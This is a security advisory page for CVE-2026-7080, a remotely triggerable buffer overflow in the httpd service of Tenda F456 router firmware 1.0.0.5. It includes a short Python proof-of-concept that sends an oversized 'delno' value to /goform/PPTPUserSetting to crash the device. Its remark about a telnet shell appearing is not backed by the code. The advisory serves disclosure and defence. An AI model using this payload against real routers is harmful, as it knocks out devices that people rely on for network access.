Security Vulnerability Report
中文
CVE-2026-7080 CVSS 8.8 HIGH

CVE-2026-7080

Published: 2026-04-27 03:16:00
Last Modified: 2026-04-30 14:35:54

Description

A security vulnerability has been detected in Tenda F456 1.0.0.5. This impacts the function fromPPTPUserSetting of the file /goform/PPTPUserSetting of the component httpd. Such manipulation of the argument delno leads to buffer overflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f456_firmware:1.0.0.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f456:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F456 1.0.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ PoC for CVE-2026-7080 Buffer Overflow in Tenda F456 Triggers a crash in the httpd service via PPTPUserSetting. """ url = f"http://{target_ip}/goform/PPTPUserSetting" # Construct payload to trigger buffer overflow on 'delno' argument # Length depends on specific buffer size (e.g., > 100 bytes) payload = "A" * 500 data = { "delno": payload } try: print(f"Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response Status: {response.status_code}") print("Check if device has crashed or telnet shell is available.") except Exception as e: print(f"Request failed (Device likely crashed): {e}") if __name__ == "__main__": exploit_poc("192.168.0.1")

References

Raw JSON Data

JSON
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